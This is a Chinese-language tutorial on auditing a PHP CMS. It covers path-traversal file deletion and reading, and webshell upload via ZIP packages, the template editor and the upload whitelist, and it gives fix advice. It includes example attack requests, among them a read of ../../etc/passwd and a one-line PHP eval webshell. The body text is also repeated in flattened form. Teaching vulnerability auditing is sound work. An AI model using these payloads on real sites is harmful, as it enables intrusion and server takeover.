某cms审计
字数 2053 2025-08-29 08:30:36

CMS安全审计实战教学:PHP漏洞挖掘与分析

前言

本教学文档基于某CMS的安全审计案例,详细讲解PHP CMS系统中常见的漏洞类型、挖掘方法和利用技术。通过本案例,您将学习到任意文件删除、任意文件读取、文件上传等多种漏洞的发现与利用过程。

一、任意文件删除漏洞

1. 后台附件管理处的文件删除漏洞

漏洞位置:后台附件管理功能中的文件和图片管理模块

漏洞分析

  • 删除操作通过HTTP请求实现
  • 请求中的path参数未做安全过滤
  • 可通过修改path参数实现跨目录删除

利用方法

  1. 正常删除请求示例:
    POST /path/to/delete HTTP/1.1
    path=uploads/s.txt
    
  2. 修改为跨目录删除:
    POST /path/to/delete HTTP/1.1
    path=../../s.txt
    

修复建议

  • 对路径参数进行规范化处理
  • 检查路径是否在允许的目录范围内
  • 禁止路径中包含../等目录遍历字符

2. 数据备份处的文件删除漏洞

漏洞位置:数据列表的数据备份功能

漏洞分析

  • 通过delFile函数处理删除操作
  • 函数接受tbname两个POST参数
  • tb用于配置初始化设置文件路径
  • name直接赋值为文件名,无过滤

利用方法

POST /path/to/delFile HTTP/1.1
tb=config/path
name=../../s.txt

3. 模板在线编辑处的文件删除漏洞

漏洞位置:editor模块下的delete_node控制器

漏洞分析

  • 通过$type参数控制删除文件或目录
  • 路径构造需要特殊形式:template/../../
  • 直接拼接路径会被拦截

利用方法

POST /editor/delete_node HTTP/1.1
path=template/../../s.txt

二、任意文件读取漏洞

漏洞位置:模板在线编辑处的get_file控制器

漏洞分析

  • 未对读取的文件路径进行限制
  • 可读取服务器上的任意文件

利用方法

GET /editor/get_file?file=../../etc/passwd HTTP/1.1

修复建议

  • 限制可读取的文件目录
  • 检查文件路径是否包含特殊字符
  • 实现文件白名单机制

三、文件上传漏洞(多处)

1. 插件管理处的ZIP解压上传

漏洞位置:后台插件管理功能

漏洞分析

  • 允许上传ZIP格式的插件包
  • 解压后未对文件内容进行检测
  • 可上传包含恶意代码的文件

利用方法

  1. 创建包含WebShell的PHP文件(如ss.php)
  2. 打包为ZIP格式
  3. 通过插件管理上传

2. 模板管理处的ZIP解压上传

漏洞位置:后台模板管理功能

漏洞分析

  • 与插件管理类似,允许上传ZIP模板包
  • 解压后未进行安全检查

利用方法
与插件管理处相同

3. 模板在线编辑处的文件创建

漏洞位置:editor模块下的create_node控制器

漏洞分析

  • 允许创建新文件
  • 路径可通过template/../../形式回溯

利用方法

POST /editor/create_node HTTP/1.1
path=template/../../shell.php
content=<?php eval($_GET['cmd']);?>

4. 直接文件上传接口

漏洞位置:editor模块提供的上传接口

漏洞分析

  • 提供直接文件上传功能
  • 路径可通过特殊形式绕过限制

利用方法

  1. 拦截上传请求
  2. 修改路径为template/../../shell.php
  3. 上传WebShell

5. 安全配置绕过上传

漏洞位置:后台栏目管理→分类管理→图片上传功能

漏洞分析

  • 前端限制上传文件类型(如仅允许png,jpg)
  • 后端从数据库system_upset表读取白名单
  • 可通过修改安全配置添加php后缀

利用步骤

  1. 进入网站安全配置
  2. 添加php到允许上传的后缀列表
  3. 通过BP拦截图片上传请求
  4. 修改文件后缀为php
  5. 上传WebShell

关键代码

// base.php中的imgupload方法
public function imgupload() {
    $this->allup();
}

// allup函数
function allup() {
    $exts = // 从system_upset表获取白名单
    // ...
}

四、漏洞挖掘方法论

  1. 功能点分析

    • 重点关注文件操作相关功能(上传、删除、读取)
    • 注意模板编辑、插件管理等扩展性功能
  2. 参数追踪

    • 跟踪用户可控参数的传递过程
    • 检查参数是否经过充分过滤
  3. 权限检查

    • 验证每个功能点的权限控制是否完善
    • 尝试绕过权限限制
  4. 前端与后端验证

    • 对比前端限制与后端实际处理逻辑
    • 寻找前端验证可被绕过的点
  5. 数据库配置影响

    • 检查安全相关配置是否存储在数据库
    • 验证这些配置是否可被恶意修改

五、修复建议总结

  1. 输入验证

    • 对所有用户输入进行严格过滤
    • 使用白名单机制而非黑名单
  2. 路径安全

    • 规范化所有文件路径
    • 禁止目录遍历字符
    • 限制文件操作在指定目录内
  3. 文件上传

    • 检查文件内容而不仅是扩展名
    • 对压缩包内容进行安全扫描
    • 使用随机文件名并禁止直接执行
  4. 权限控制

    • 实现最小权限原则
    • 重要操作需二次确认
  5. 配置安全

    • 关键安全配置应不可通过后台修改
    • 或对修改操作进行严格权限控制

六、Java审计学习建议

虽然本文档主要讲解PHP审计,但作者表达了学习Java审计的意愿。以下是一些建议:

  1. 基础准备

    • 掌握Java语言特性和常见框架
    • 了解JVM工作原理
  2. 审计重点

    • 反序列化漏洞
    • OGNL表达式注入
    • 权限绕过
    • SQL注入
  3. 学习资源

    • 研究Java常见漏洞模式(CWE)
    • 分析知名Java框架漏洞(如Struts2)
    • 参与开源项目代码审计
  4. 工具使用

    • 掌握Java反编译工具(JD-GUI等)
    • 学习静态代码分析工具(Fortify, FindBugs等)

通过本案例的学习,您应该已经掌握了PHP CMS系统常见漏洞的挖掘方法和利用技术。建议在实际审计工作中遵循负责任的披露原则,发现漏洞后及时通知厂商修复。

CMS安全审计实战教学:PHP漏洞挖掘与分析 前言 本教学文档基于某CMS的安全审计案例,详细讲解PHP CMS系统中常见的漏洞类型、挖掘方法和利用技术。通过本案例,您将学习到任意文件删除、任意文件读取、文件上传等多种漏洞的发现与利用过程。 一、任意文件删除漏洞 1. 后台附件管理处的文件删除漏洞 漏洞位置 :后台附件管理功能中的文件和图片管理模块 漏洞分析 : 删除操作通过HTTP请求实现 请求中的 path 参数未做安全过滤 可通过修改 path 参数实现跨目录删除 利用方法 : 正常删除请求示例: 修改为跨目录删除: 修复建议 : 对路径参数进行规范化处理 检查路径是否在允许的目录范围内 禁止路径中包含 ../ 等目录遍历字符 2. 数据备份处的文件删除漏洞 漏洞位置 :数据列表的数据备份功能 漏洞分析 : 通过 delFile 函数处理删除操作 函数接受 tb 和 name 两个POST参数 tb 用于配置初始化设置文件路径 name 直接赋值为文件名,无过滤 利用方法 : 3. 模板在线编辑处的文件删除漏洞 漏洞位置 :editor模块下的 delete_node 控制器 漏洞分析 : 通过 $type 参数控制删除文件或目录 路径构造需要特殊形式: template/../../ 直接拼接路径会被拦截 利用方法 : 二、任意文件读取漏洞 漏洞位置 :模板在线编辑处的 get_file 控制器 漏洞分析 : 未对读取的文件路径进行限制 可读取服务器上的任意文件 利用方法 : 修复建议 : 限制可读取的文件目录 检查文件路径是否包含特殊字符 实现文件白名单机制 三、文件上传漏洞(多处) 1. 插件管理处的ZIP解压上传 漏洞位置 :后台插件管理功能 漏洞分析 : 允许上传ZIP格式的插件包 解压后未对文件内容进行检测 可上传包含恶意代码的文件 利用方法 : 创建包含WebShell的PHP文件(如ss.php) 打包为ZIP格式 通过插件管理上传 2. 模板管理处的ZIP解压上传 漏洞位置 :后台模板管理功能 漏洞分析 : 与插件管理类似,允许上传ZIP模板包 解压后未进行安全检查 利用方法 : 与插件管理处相同 3. 模板在线编辑处的文件创建 漏洞位置 :editor模块下的 create_node 控制器 漏洞分析 : 允许创建新文件 路径可通过 template/../../ 形式回溯 利用方法 : 4. 直接文件上传接口 漏洞位置 :editor模块提供的上传接口 漏洞分析 : 提供直接文件上传功能 路径可通过特殊形式绕过限制 利用方法 : 拦截上传请求 修改路径为 template/../../shell.php 上传WebShell 5. 安全配置绕过上传 漏洞位置 :后台栏目管理→分类管理→图片上传功能 漏洞分析 : 前端限制上传文件类型(如仅允许png,jpg) 后端从数据库 system_upset 表读取白名单 可通过修改安全配置添加php后缀 利用步骤 : 进入网站安全配置 添加php到允许上传的后缀列表 通过BP拦截图片上传请求 修改文件后缀为php 上传WebShell 关键代码 : 四、漏洞挖掘方法论 功能点分析 : 重点关注文件操作相关功能(上传、删除、读取) 注意模板编辑、插件管理等扩展性功能 参数追踪 : 跟踪用户可控参数的传递过程 检查参数是否经过充分过滤 权限检查 : 验证每个功能点的权限控制是否完善 尝试绕过权限限制 前端与后端验证 : 对比前端限制与后端实际处理逻辑 寻找前端验证可被绕过的点 数据库配置影响 : 检查安全相关配置是否存储在数据库 验证这些配置是否可被恶意修改 五、修复建议总结 输入验证 : 对所有用户输入进行严格过滤 使用白名单机制而非黑名单 路径安全 : 规范化所有文件路径 禁止目录遍历字符 限制文件操作在指定目录内 文件上传 : 检查文件内容而不仅是扩展名 对压缩包内容进行安全扫描 使用随机文件名并禁止直接执行 权限控制 : 实现最小权限原则 重要操作需二次确认 配置安全 : 关键安全配置应不可通过后台修改 或对修改操作进行严格权限控制 六、Java审计学习建议 虽然本文档主要讲解PHP审计,但作者表达了学习Java审计的意愿。以下是一些建议: 基础准备 : 掌握Java语言特性和常见框架 了解JVM工作原理 审计重点 : 反序列化漏洞 OGNL表达式注入 权限绕过 SQL注入 学习资源 : 研究Java常见漏洞模式(CWE) 分析知名Java框架漏洞(如Struts2) 参与开源项目代码审计 工具使用 : 掌握Java反编译工具(JD-GUI等) 学习静态代码分析工具(Fortify, FindBugs等) 通过本案例的学习,您应该已经掌握了PHP CMS系统常见漏洞的挖掘方法和利用技术。建议在实际审计工作中遵循负责任的披露原则,发现漏洞后及时通知厂商修复。